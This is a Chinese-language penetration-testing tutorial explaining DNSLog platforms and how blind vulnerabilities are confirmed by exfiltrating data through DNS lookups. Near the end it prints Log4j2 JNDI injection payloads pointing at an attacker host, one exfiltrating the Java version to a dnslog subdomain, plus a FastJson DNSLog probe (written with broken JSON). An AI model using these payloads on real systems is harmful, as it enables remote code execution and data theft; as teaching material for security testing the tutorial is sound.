解密DNSlog
一.什么是DNSLog
DNS的全称是Domain Name System(域名系统),它作为将域名和IP地址相互映射,使人更方便地访问互联网。当用户输入某一网址如xx.xx.com,网络上的DNS Server会将该域名解析,并找到对应的真实IP如11.11.11.11,使用户可以访问这台服务器上相应的服务。
DNS服务器在解析的过程中其实会记录日志,这个日志我们便把它称为DNSLog的日志。
DNSLog是一个DNS请求记录平台,可以记录和分析DNS请求的详细信息,包括请求来源、目标域名、请求时间和响应状态等。
DNSLog可以用于网络安全领域的渗透测试、漏洞挖掘等方面。DNSLog的原理是利用DNS协议的特性,将需要收集的信息编码成DNS查询请求,然后将请求发送到DNS服务器,最后通过DNS服务器的响应来获取信息。
DNSLog的实现方式有很多种,其中最常见的是使用第三方DNS服务。
DNSLog的优点是隐蔽性高,缺点是响应时间较慢和存在一定的误报率。
通俗来说,就是如果开启了DNSLog,那么DNSLog上面就会记录一条日志:什么时间,什么请求IP,什么域名,解析的什么IP。
一些第三方的DNSLog平台:
DNSLOG Platform(无需登录,优点是生成的子域名是临时的)
CEYE - Monitor service for security testing(需要登录,优点是生成的域名是长期的且解析记录会一直保留)
http://dnslog.cn/
http://dnslog.pw
大致流程演示:
首先在DNSLog平台生成一个域名:
因为DNSLog会有日志记录,只要有人访问它,就会生成记录:
在浏览器上访问生成的域名:
就会在产生对应的访问日志:
二.在渗透测试中的应用
在做漏洞探测的时候,比如SQL注入,SS注入,命令执行等等,我们通常会构造一个验证漏洞的payload,当这个payload发送给服务器之后,服务器执行了我们的payload,服务器会返回给我们一个HTTP的响应。
如果服务器存在漏洞,这个返回的响应里面通常包含了我们想要的结果。比如,我们在执行命令注入时,可以通过返回界面的内容,来让我们判断是否有命令执行漏洞。这种服务器有响应信息的,我们叫做有回显注入。
但是在某一些情况下,这个网站本身是存在漏洞的,但是它并不会在响应里面返回信息,导致我们无法判断当前页面是否存在漏洞。这种就是没有回显,在这种情况下我们要如何去获得我们执行的结果呢?这就需要用到DNSLog。
2.1 DNSLog数据外带
DNSLog数据外带包括:命令执行、xss注入、SQL注入、ssrf、xxe、解析类漏洞(如:log4j2漏洞、fastjson反序列化漏洞等
我们在构造渗透测试语句的时候可以添加DNSLog的地址,如果存在漏洞,被攻击者就会去进行域名解析,我们就能从日志得知漏洞信息。
例如,我们生成一个域名,然后在本地去ping:
如果我们自己构造一个子域名然后去ping,会发现拼接的子域名也会显示:
我们就可以利用这个特性,去将系统命令拼接原有域名,然后ping,把信息带出来。
例如,获取系统信息:
Windows系统的一些属性:
Linux系统同理
注意:因为子域拼接是不能带有
2.2 利用解析类漏洞(如:Log4j2漏洞、fastjson反序列化漏洞等)
log4j2漏洞
log4j2的DNSLog数据外带
payload:${jndi:ldap:10.10.10.10:7777/shell}
payload:${jndi:rmi:10.10.10.10:7777/shell}
#log4j2组件会将信息记录到日志中
日志中包含${},log4j在日志输出中,未对字符合法性进行严格的限制,遇到${,jndi接口通过lookup()方法解析括号中的内容rmi:10.10.10.10:7777/shell,解析到 ldap/rmi,就会去10.10.10.10的ldap/rmi服务找名为shell的资源,如果找不到就会去http服务中找。在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入。攻击者就可以通过shell实现任意的命令执行。
log4j2可以外带的数据${jndi:ldap://$ {sys:java.version}.xx.dnslog.pw},因为log4j是Java的环境,所以可以来获取Java的一些属性
FastJson漏洞
FastJson通过DNSLog进行漏洞探测
FastJson反序列化漏洞是利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。
FastJson通过DNSLog探测漏洞{"a":"@type":"java.net.Inet6Address","val":"dnslog"}}